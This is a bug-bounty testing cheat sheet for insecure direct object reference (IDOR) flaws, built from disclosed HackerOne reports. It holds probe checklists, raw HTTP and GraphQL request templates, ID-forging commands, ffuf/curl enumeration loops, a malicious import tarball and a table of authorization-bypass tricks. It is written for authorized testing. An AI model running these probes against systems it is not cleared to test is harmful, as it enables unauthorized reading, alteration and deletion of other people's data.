IDOR Hunting Kit
Every parameter name, probe sequence, bypass and escalation path for finding authorization bugs — distilled from 250 disclosed HackerOne reports into a sheet you keep open while testing.
This kit distils the techniques observed across 250 disclosed reports. Read the full analysis
Where It Hides
PARAMETER NAMES — GREP YOUR BURP SITEMAP FOR THESE
# Identity & account
id uid user user_id userId userid account_id accountId member_id
profile_id customer_id client_id owner_id actor_id subject_id person_id
employee_id student_id patient_id contact_id lead_id guest_id
# Tenancy & scope — these pay the most, they cross org boundaries
org_id organization_id tenant_id workspace_id team_id group_id company_id
project_id shop_id store_id site_id app_id namespace_id realm_id env_id
# Commerce & money
order_id booking_id reservation_id cart_id transaction_id payment_id
invoice_id receipt_id subscription_id voucher_id coupon_id refund_id
payout_id card_id bank_account_id wallet_id billing_id quote_id
# Documents & media
doc_id document_id file_id fileId attachment_id media_id asset_id
image_id photo_id video_id export_id report_id download_id key path
# Communication & workflow
message_id thread_id conversation_id chat_id comment_id note_id post_id
ticket_id case_id issue_id request_id task_id event_id notification_id
# Credentials & entitlement — high severity when writable
token_id session_id api_key_id credential_id certification_id license_id
badge_id role_id permission_id invite_id membership_id device_id webhook_id
# Identity-by-string — IDOR does not require an integer
email username phone msisdn slug handle external_id sub upn ref
INPUT SURFACES — WHERE THE IDENTIFIER TRAVELS
# 1. Path segment GET /api/v1/bookings/8847
# 2. Query string GET /Download.aspx?id=4675
# 3. JSON body {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Form body booking_id=8847&action=cancel
# 5. Custom headers X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
# X-Customer-Id / X-Impersonate-User / X-Forwarded-User
# X-On-Behalf-Of / X-Actor-Id / Referer (scope leaks here)
# 6. Cookies account_id=8847; last_org=42; selected_tenant=acme
# 7. GraphQL variables {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Multipart filename Content-Disposition: name="file"; filename="../8848.pdf"
# 9. JWT / session claims decode it — sub, uid, tid, org are often TRUSTED server-side
# 10. WebSocket frames {"op":"subscribe","channel":"orders:8848"}
# 11. Import archives project.json inside a tarball → "issue_ids": [27422144]
# 12. Signed/opaque blob base64, hex, protobuf — decode before assuming it is safe
The Hunting Checklist
FIRST PROBE TO CONFIRMED IMPACT
Do: Account A and B at the same privilege tier, C in a different org/tenant. Separate browser profiles or containers so sessions never bleed.
Tool: Firefox Multi-Account Containers, or two browsers behind Burp on 127.0.0.1:8080.
Positive: Nothing yet — but you now own two known-good IDs to swap. Without this step every finding is unprovable.
Do: Exercise every feature as A — create, edit, share, export, delete. Then mine the proxy history for numeric and opaque values.
Tool: Burp sitemap export, then grep -oE '"[a-z_]_?id"\s:\s*"?[A-Za-z0-9=_-]+'. GAP or Param Miner for hidden params.
Positive: A list of ID parameters with A's real values, and the ID format — sequential int, UUID, base64, ObjectId.
Do: Replay each request with A's cookie/bearer and B's identifier. Change one thing at a time.
Tool: Burp Repeater by hand; Autorize or AuthMatrix to do it across the whole sitemap automatically.
Positive: HTTP 200 containing B's data — not a 403, not an empty object, not A's own record echoed back. Diff the two responses before believing it.
Do: For each endpoint that reads, try PUT, PATCH, DELETE and POST against B's ID. Authorization is frequently implemented per handler, so the read path can be safe while the write path is wide open.
Tool: Repeater. Send DELETE against a throwaway object you created on B, never on a real user.
Positive: 200/204 plus the object actually gone or mutated when you re-check as B. Write access is where the four- and five-figure bounties live.
Do: Re-send the winning request with the Cookie and Authorization headers stripped.
Tool: curl with no auth, or Repeater with the header deleted.
Positive: Data returns with zero credentials. That converts a normal IDOR into unauthenticated exposure and typically moves it a full severity band.
Do: GraphQL mutations, import/export pipelines, search and filter endpoints, webhooks, admin and internal tooling, and older API versions (/v1/ when the web app calls /v2/).
Tool: GraphQL introspection or Clairvoyance when it is disabled; jadx / apktool on the mobile APK to recover routes the web client never calls.
Positive: A route absent from the web app that still answers. Bykea's #3085742 came from exactly this — a hardcoded zombie endpoint found in the Android app.
Do: Prove the victim is arbitrary, not lucky. Five to ten IDs across a wide range is enough. Do not dump the database.
Tool: Burp Intruder / Turbo Intruder, or ffuf with a low -rate.
Positive: Distinct objects belonging to distinct third parties. Record the count and the ID span, then stop and write it up.
Payload Cheatsheet
1. THE CORE SWAP
# Baseline — your own object. Save this response, you diff against it.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN
# The probe — one character changed.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# POSITIVE: 200 + a name/phone/address that is not yours.
# Walk the range in both directions. Low IDs are the oldest, often
# internal test or staff accounts with richer data.
GET /api/v1/bookings/1 HTTP/1.1
GET /api/v1/bookings/8846 HTTP/1.1
# Identity-by-string — the session is valid, the action targets someone else.
# Mozilla FxA never checked the session owned the account being destroyed.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json
{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}
2. GRAPHQL
# Introspection first — dump every mutation, look for delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}
# Ownership is usually checked on the root field only. Reach the object
# through a parent edge instead and the check is never evaluated.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }
# Alias batching — many objects per HTTP request, defeats per-request
# rate limits and proves arbitrary access in a single screenshot.
query {
a: user(id:1235){ email phone }
b: user(id:1236){ email phone }
c: user(id:1237){ email phone }
}
# Write path. Snapchat's deleteStorySnaps took an ids array with no
# ownership validation — intercept your own delete, swap the id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}
3. DECODE BEFORE YOU GIVE UP ON "OPAQUE" IDS
# base64 wrapper — extremely common, and trivially re-encodable
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64 # forge the neighbour
# GraphQL Relay global IDs are base64 of "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d # User:1234
echo -n 'User:1235' | base64 # VXNlcjoxMjM1
# hex / decimal
printf '%d\n' 0x4D2 # 1234
# MongoDB ObjectId: 4-byte timestamp + 5-byte random + 3-byte counter.
# The trailing counter increments per insert — neighbours are guessable.
# 65f1a2b3 c4d5e6f7a8b9 0001 -> ...0002 is the next document
# UUIDv1 embeds a timestamp and MAC address — not random, predictable
# within a window. UUIDv4 is random; hunt for where it LEAKS instead
# (search results, list endpoints, error messages, email footers).
4. ENUMERATION — SMALL, SLOW, DOCUMENTED
# Ten IDs is proof. Ten thousand is an incident report with your name on it.
seq 8840 8850 > ids.txt
ffuf -w ids.txt:FUZZ \
-u "$TARGET/api/v1/bookings/FUZZ" \
-H "Authorization: Bearer $A_TOKEN" \
-mc 200 -rate 5 -o idor.json
# Length-based triage: identical sizes are usually a generic error page,
# varying sizes with 200s mean real distinct records.
curl -s -H "Authorization: Bearer $A_TOKEN" \
"$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'
# Sequential file downloads — the DoD pattern, no ownership map at all
for i in 4675 4676 4677; do
curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done
5. IMPORT PIPELINES — MASS ASSIGNMENT OF FOREIGN KEYS
// project.json inside the uploaded tarball. The importer called
// assign_attributes() on this hash, so *_ids arrays reparented objects
// belonging to other projects. Two $20,000 GitLab reports came from it.
{
"description": "attacker project",
"issue_ids": [27422144],
"issues": [],
"merge_request_ids": [12345678],
"merge_requests": [],
"note_ids": [98765432],
"board_ids": [11111]
}
tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
-H "PRIVATE-TOKEN: $A_TOKEN" \
-F "path=stolen" -F "file=@evil.tar.gz"
# Then browse your new project — foreign issues appear inside it.
Filter and Control Bypasses
| Technique | Payload | Why it works |
|---|---|---|
| Wrap ID in an array | {"id":[1235]} | The ownership check compares a scalar; an array fails the comparison but the ORM still resolves it. |
| Parameter pollution | ?id=1234&id=1235 | Gateway or middleware reads the first occurrence, the application framework reads the last. |
| Split path and body | path /users/1234, body {"user_id":1235} | Middleware authorizes the path segment; the handler trusts the body. |
| Verb swap | GET → PUT / PATCH / DELETE | Authorization is registered per handler. The read path is reviewed, the write path is not. |
| Method override | POST + X-HTTP-Method-Override: DELETE | Routing rules that deny DELETE are keyed to the real verb, not the override header. |
| Content-type swap | application/json → application/x-www-form-urlencoded or XML | An alternate parser branch skips the filter bound to the JSON deserializer. |
| Extension append | /api/users/1235.json, .xml, / | Route or WAF regex anchored on the exact path stops matching. |
| Wildcard and null IDs | id=*, id=0, id=-1, id=%00, id=null | Unbound query returns every row, or resolves to a seeded system/admin record. |
| Old API version | /v1/ while the client calls /v2/ | The legacy handler predates the authorization middleware and was never retired. |
| Zombie mobile route | strings pulled from the APK | Route removed from the web client but still served — Bykea #3085742. |
| Import foreign keys | "issue_ids":[27422144] in project.json | Bulk import mass-assigns attributes, bypassing the API's per-object checks — GitLab #743953, #767770. |
| Identity in the body | {"email":"victim@domain.tld"} with your own token | The server authenticates the session but binds the action to the body identity — Mozilla #3154983. |
| Ignore the hidden UI | send the DELETE the button never renders | The frontend hides the control; the endpoint has no check at all — Snapchat #1819832. |
| Sequential download IDs | Download.aspx?id=4676 | File handlers commonly serve from a path map with no ownership column — DoD #1626508. |
| GraphQL alias batching | a:user(id:1235){...} b:user(id:1236){...} | Rate limiting and logging count HTTP requests, not resolved fields. |
| Nested traversal | reach the object via its parent edge | Field-level authorization is applied at the root query only. |
Escalation Ladder
FROM "I SAW ONE RECORD" TO A CRITICAL
Reproduce three times, in a clean session, after a re-login. Cached responses and stale service workers have sunk a lot of reports that were never bugs.
Reading someone's record is Medium-shaped. Modifying or deleting it is High-shaped. Every headline bounty in the dataset — GitLab, Snapchat, Mozilla — was a write or delete, not a read.
One victim is an anecdote; arbitrary victims are a vulnerability. Show that the ID is unbounded and unpredictable-free — sequential, or leaked somewhere you can point at. "Any user" is the phrase triage is looking for.
Enumerate the fields you actually get back. Phone numbers, home addresses, government IDs, payment instruments, API keys and CI/CD secrets each move severity independently. Name the regulated categories explicitly — PII, PCI, PHI.
A user-to-user IDOR is one thing; org-to-org is a multi-tenancy failure and gets triaged against the product's core security promise. This is why org_id, shop_id and tenant_id outrank user_id.
One IDOR leaks the identifiers a second one consumes. Add an auth weakness and you have account takeover. Uber's #1145428 chained three bugs into arbitrary charges against any business card.
Translate access into consequence: how many records, which fields, what a competitor or fraudster does with them. The gap between the dataset's Low average ($560) and Critical average ($14,333) is almost entirely this rung.
Report-Writing Notes
WHAT KEEPS TRIAGE FROM DOWNGRADING YOU
Known Dead Ends
LOOKS LIKE IDOR, PAYS NOTHING
TEST ONLY WHAT YOU ARE AUTHORIZED TO TEST. Use accounts you control as the victim wherever possible, stop enumerating the moment access is proven, and retain nothing. Every technique on this page is documented for use inside an in-scope program.